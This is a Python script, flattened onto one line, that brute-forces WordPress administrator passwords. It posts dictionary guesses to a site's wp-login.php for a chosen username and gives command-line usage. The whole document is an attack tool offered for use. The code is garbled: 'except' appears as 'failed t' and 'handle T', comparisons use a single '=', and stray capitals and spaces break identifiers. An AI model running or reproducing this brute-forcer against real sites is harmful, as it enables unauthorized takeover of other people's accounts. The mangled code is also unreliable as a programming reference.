#! /Usr/bin/env python # Coding = UTF-8 # wordpress background brute force cracking (python) # python wordpress_bruteforce.py http://xxxx.com/wp-login.php Xxxx dic.txt import urllib, time, sys start = time. time () errors = [] def exploit (url, name, dictionary): for line in open (dictionary): lineline = line. strip () try: data = urllib. urlencode ({'log': name, 'pwd': line, 'redirect _ to': ''}) content = urllib. urlopen (url, data) if content. read () = '': print" Password is: % s "% line print time. time ()-start sys. exit () else: print "try % s failed" % line failed t IOError: errors. append (line) print "try % s occurs IOERROR, add to list and retry it later" % line if _ name _ = "_ main __": if len (sys. argv) <4: print 'usage: Url AdminName Dictionary 'sys. exit (1) exploit (sys. argv [1], sys. argv [2], sys. argv [3]) while errors: for I, line in enumerate (errors): try: data = urllib. urlencode ({'log': sys. argv [2], 'pwd': line, 'redirect _ to': ''}) content = urllib. urlopen (sys. argv [1], data) if content. read () = '': print" Password is: % s "% line print time. time ()-start sys. exit () else: print "try % s failed" % line del errors [I] handle T IOError: errors. append (line) print "try % s occurs IOERROR, add to list and retry it later" % line print time. time ()-start